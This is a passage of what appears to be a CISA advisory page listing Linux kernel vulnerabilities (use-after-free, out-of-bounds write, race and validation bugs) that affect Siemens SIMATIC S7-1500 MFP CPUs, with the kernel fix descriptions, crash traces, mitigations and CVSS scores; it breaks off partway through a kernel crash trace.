<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31485</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: spi-fsl-lpspi: fix teardown order issue (UAF) There is a teardown order issue in the driver. The SPI controller is registered using devm_spi_register_controller(), which delays unregistration of the SPI controller until after the fsl_lpspi_remove() function returns. As the fsl_lpspi_remove() function synchronously tears down the DMA channels, a running SPI transfer triggers the following NULL pointer dereference due to use after free: | fsl_lpspi 42550000.spi: I/O Error in DMA RX | Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 [...] | Call trace: | fsl_lpspi_dma_transfer+0x260/0x340 [spi_fsl_lpspi] | fsl_lpspi_transfer_one+0x198/0x448 [spi_fsl_lpspi] | spi_transfer_one_message+0x49c/0x7c8 | __spi_pump_transfer_message+0x120/0x420 | __spi_sync+0x2c4/0x520 | spi_sync+0x34/0x60 | spidev_message+0x20c/0x378 [spidev] | spidev_ioctl+0x398/0x750 [spidev] [...] Switch from devm_spi_register_controller() to spi_register_controller() in fsl_lpspi_probe() and add the corresponding spi_unregister_controller() in fsl_lpspi_remove().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31485">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31494</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: use the current queue number for stats There's a potential mismatch between the memory reserved for statistics and the amount of memory written. gem_get_sset_count() correctly computes the number of stats based on the active queues, whereas gem_get_ethtool_stats() indiscriminately copies data using the maximum number of queues, and in the case the number of active queues is less than MACB_MAX_QUEUES, this results in a OOB write as observed in the KASAN splat. ================================================================== BUG: KASAN: vmalloc-out-of-bounds in gem_get_ethtool_stats+0x54/0x78 [macb] Write of size 760 at addr ffff80008080b000 by task ethtool/1027 CPU: [...] Tainted: [E]=UNSIGNED_MODULE Hardware name: raspberrypi rpi/rpi, BIOS 2025.10 10/01/2025 Call trace: show_stack+0x20/0x38 (C) dump_stack_lvl+0x80/0xf8 print_report+0x384/0x5e0 kasan_report+0xa0/0xf0 kasan_check_range+0xe8/0x190 __asan_memcpy+0x54/0x98 gem_get_ethtool_stats+0x54/0x78 [macb 926c13f3af83b0c6fe64badb21ec87d5e93fcf65] dev_ethtool+0x1220/0x38c0 dev_ioctl+0x4ac/0xca8 sock_do_ioctl+0x170/0x1d8 sock_ioctl+0x484/0x5d8 __arm64_sys_ioctl+0x12c/0x1b8 invoke_syscall+0xd4/0x258 el0_svc_common.constprop.0+0xb4/0x240 do_el0_svc+0x48/0x68 el0_svc+0x40/0xf8 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1b0/0x1b8 The buggy address belongs to a 1-page vmalloc region starting at 0xffff80008080b000 allocated at dev_ethtool+0x11f0/0x38c0 The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff00000a333000 pfn:0xa333 flags: 0x7fffc000000000(node=0|zone=0|lastcpupid=0x1ffff) raw: 007fffc000000000 0000000000000000 dead000000000122 0000000000000000 raw: ffff00000a333000 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff80008080b080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff80008080b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &gt;ffff80008080b180: 00 00 00 00 00 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ^ ffff80008080b200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ffff80008080b280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ================================================================== Fix it by making sure the copied size only considers the active number of queues.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31494">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31495</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: use netlink policy range checks Replace manual range and mask validations with netlink policy annotations in ctnetlink code paths, so that the netlink core rejects invalid values early and can generate extack errors. - CTA_PROTOINFO_TCP_STATE: reject values &gt; TCP_CONNTRACK_SYN_SENT2 at policy level, removing the manual &gt;= TCP_CONNTRACK_MAX check. - CTA_PROTOINFO_TCP_WSCALE_ORIGINAL/REPLY: reject values &gt; TCP_MAX_WSCALE (14). The normal TCP option parsing path already clamps to this value, but the ctnetlink path accepted 0-255, causing undefined behavior when used as a u32 shift count. - CTA_FILTER_ORIG_FLAGS/REPLY_FLAGS: use NLA_POLICY_MASK with CTA_FILTER_F_ALL, removing the manual mask checks. - CTA_EXPECT_FLAGS: use NLA_POLICY_MASK with NF_CT_EXPECT_MASK, adding a new mask define grouping all valid expect flags. Extracted from a broader nf-next patch by Florian Westphal, scoped to ctnetlink for the fixes tree.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31495">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31496</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_expect: skip expectations in other netns via proc Skip expectations that do not reside in this netns. Similar to e77e6ff502ea ("netfilter: conntrack: do not dump other netns's conntrack entries via proc").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31503</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: udp: Fix wildcard bind conflict check when using hash2 When binding a udp_sock to a local address and port, UDP uses two hashes (udptable-&gt;hash and udptable-&gt;hash2) for collision detection. The current code switches to "hash2" when hslot-&gt;count &gt; 10. "hash2" is keyed by local address and local port. "hash" is keyed by local port only. The issue can be shown in the following bind sequence (pseudo code): bind(fd1, "[fd00::1]:8888") bind(fd2, "[fd00::2]:8888") bind(fd3, "[fd00::3]:8888") bind(fd4, "[fd00::4]:8888") bind(fd5, "[fd00::5]:8888") bind(fd6, "[fd00::6]:8888") bind(fd7, "[fd00::7]:8888") bind(fd8, "[fd00::8]:8888") bind(fd9, "[fd00::9]:8888") bind(fd10, "[fd00::10]:8888") /* Correctly return -EADDRINUSE because "hash" is used * instead of "hash2". udp_lib_lport_inuse() detects the * conflict. */ bind(fail_fd, "[::]:8888") /* After one more socket is bound to "[fd00::11]:8888", * hslot-&gt;count exceeds 10 and "hash2" is used instead. */ bind(fd11, "[fd00::11]:8888") bind(fail_fd, "[::]:8888") /* succeeds unexpectedly */ The same issue applies to the IPv4 wildcard address "0.0.0.0" and the IPv4-mapped wildcard address "::ffff:0.0.0.0". For example, if there are existing sockets bound to "192.168.1.[1-11]:8888", then binding "0.0.0.0:8888" or "[::ffff:0.0.0.0]:8888" can also miss the conflict when hslot-&gt;count &gt; 10. TCP inet_csk_get_port() already has the correct check in inet_use_bhash2_on_bind(). Rename it to inet_use_hash2_on_bind() and move it to inet_hashtables.h so udp.c can reuse it in this fix.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31503">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31504</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix fanout UAF in packet_release() via NETDEV_UP race `packet_release()` has a race window where `NETDEV_UP` can re-register a socket into a fanout group's `arr[]` array. The re-registration is not cleaned up by `fanout_release()`, leaving a dangling pointer in the fanout array. `packet_release()` does NOT zero `po-&gt;num` in its `bind_lock` section. After releasing `bind_lock`, `po-&gt;num` is still non-zero and `po-&gt;ifindex` still matches the bound device. A concurrent `packet_notifier(NETDEV_UP)` that already found the socket in `sklist` can re-register the hook. For fanout sockets, this re-registration calls `__fanout_link(sk, po)` which adds the socket back into `f-&gt;arr[]` and increments `f-&gt;num_members`, but does NOT increment `f-&gt;sk_ref`. The fix sets `po-&gt;num` to zero in `packet_release` while `bind_lock` is held to prevent NETDEV_UP from linking, preventing the race window. This bug was found following an additional audit with Claude Code based on CVE-2025-38617.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31504">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31507</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/smc: fix double-free of smc_spd_priv when tee() duplicates splice pipe buffer smc_rx_splice() allocates one smc_spd_priv per pipe_buffer and stores the pointer in pipe_buffer.private. The pipe_buf_operations for these buffers used .get = generic_pipe_buf_get, which only increments the page reference count when tee(2) duplicates a pipe buffer. The smc_spd_priv pointer itself was not handled, so after tee() both the original and the cloned pipe_buffer share the same smc_spd_priv *. When both pipes are subsequently released, smc_rx_pipe_buf_release() is called twice against the same object: 1st call: kfree(priv) sock_put(sk) smc_rx_update_cons() [correct] 2nd call: kfree(priv) sock_put(sk) smc_rx_update_cons() [UAF] KASAN reports a slab-use-after-free in smc_rx_pipe_buf_release(), which then escalates to a NULL-pointer dereference and kernel panic via smc_rx_update_consumer() when it chases the freed priv-&gt;smc pointer: BUG: KASAN: slab-use-after-free in smc_rx_pipe_buf_release+0x78/0x2a0 Read of size 8 at addr ffff888004a45740 by task smc_splice_tee_/74 Call Trace: dump_stack_lvl+0x53/0x70 print_report+0xce/0x650 kasan_report+0xc6/0x100 smc_rx_pipe_buf_release+0x78/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f BUG: kernel NULL pointer dereference, address: 0000000000000020 RIP: 0010:smc_rx_update_consumer+0x8d/0x350 Call Trace: smc_rx_pipe_buf_release+0x121/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f Kernel panic - not syncing: Fatal exception Beyond the memory-safety problem, duplicating an SMC splice buffer is semantically questionable: smc_rx_update_cons() would advance the consumer cursor twice for the same data, corrupting receive-window accounting. A refcount on smc_spd_priv could fix the double-free, but the cursor-accounting issue would still need to be addressed separately. The .get callback is invoked by both tee(2) and splice_pipe_to_pipe() for partial transfers; both will now return -EFAULT. Users who need to duplicate SMC socket data must use a copy-based read path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31507">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31508</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: Avoid releasing netdev before teardown completes The patch cited in the Fixes tag below changed the teardown code for OVS ports to no longer unconditionally take the RTNL. After this change, the netdev_destroy() callback can proceed immediately to the call_rcu() invocation if the IFF_OVS_DATAPATH flag is already cleared on the netdev. The ovs_netdev_detach_dev() function clears the flag before completing the unregistration, and if it gets preempted after clearing the flag (as can happen on an -rt kernel), netdev_destroy() can complete and the device can be freed before the unregistration completes. This leads to a splat like: [ 998.393867] Oops: general protection fault, probably for non-canonical address 0xff00000001000239: 0000 [#1] SMP PTI [ 998.393877] CPU: 42 UID: 0 PID: 55177 Comm: ip Kdump: loaded Not tainted 6.12.0-211.1.1.el10_2.x86_64+rt #1 PREEMPT_RT [ 998.393886] Hardware name: Dell Inc. PowerEdge R740/0JMK61, BIOS 2.24.0 03/27/2025 [ 998.393889] RIP: 0010:dev_set_promiscuity+0x8d/0xa0 [ 998.393901] Code: 00 00 75 d8 48 8b 53 08 48 83 ba b0 02 00 00 00 75 ca 48 83 c4 08 5b c3 cc cc cc cc 48 83 bf 48 09 00 00 00 75 91 48 8b 47 08 &lt;48&gt; 83 b8 b0 02 00 00 00 74 97 eb 81 0f 1f 80 00 00 00 00 90 90 90 [ 998.393906] RSP: 0018:ffffce5864a5f6a0 EFLAGS: 00010246 [ 998.393912] RAX: ff00000000ffff89 RBX: ffff894d0adf5a05 RCX: 0000000000000000 [ 998.393917] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: ffff894d0adf5a05 [ 998.393921] RBP: ffff894d19252000 R08: ffff894d19252000 R09: 0000000000000000 [ 998.393924] R10: ffff894d19252000 R11: ffff894d192521b8 R12: 0000000000000006 [ 998.393927] R13: ffffce5864a5f738 R14: 00000000ffffffe2 R15: 0000000000000000 [ 998.393931] FS: 00007fad61971800(0000) GS:ffff894cc0140000(0000) knlGS:0000000000000000 [ 998.393936] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 998.393940] CR2: 000055df0a2a6e40 CR3: 000000011c7fe003 CR4: 00000000007726f0 [ 998.393944] PKRU: 55555554 [ 998.393946] Call Trace: [ 998.393949] [ 998.393952] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393961] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393975] ? dp_device_event+0x41/0x80 [openvswitch] [ 998.394009] ? __die_body.cold+0x8/0x12 [ 998.394016] ? die_addr+0x3c/0x60 [ 998.394027] ? exc_general_protection+0x16d/0x390 [ 998.394042] ? asm_exc_general_protection+0x26/0x30 [ 998.394058] ? dev_set_promiscuity+0x8d/0xa0 [ 998.394066] ? ovs_netdev_detach_dev+0x3a/0x80 [openvswitch] [ 998.394092] dp_device_event+0x41/0x80 [openvswitch] [ 998.394102] notifier_call_chain+0x5a/0xd0 [ 998.394106] unregister_netdevice_many_notify+0x51b/0xa60 [ 998.394110] rtnl_dellink+0x169/0x3e0 [ 998.394121] ? rt_mutex_slowlock.constprop.0+0x95/0xd0 [ 998.394125] rtnetlink_rcv_msg+0x142/0x3f0 [ 998.394128] ? avc_has_perm_noaudit+0x69/0xf0 [ 998.394130] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 998.394132] netlink_rcv_skb+0x50/0x100 [ 998.394138] netlink_unicast+0x292/0x3f0 [ 998.394141] netlink_sendmsg+0x21b/0x470 [ 998.394145] ____sys_sendmsg+0x39d/0x3d0 [ 998.394149] ___sys_sendmsg+0x9a/0xe0 [ 998.394156] __sys_sendmsg+0x7a/0xd0 [ 998.394160] do_syscall_64+0x7f/0x170 [ 998.394162] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 998.394165] RIP: 0033:0x7fad61bf4724 [ 998.394188] Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d c5 e9 0c 00 00 74 13 b8 2e 00 00 00 0f 05 &lt;48&gt; 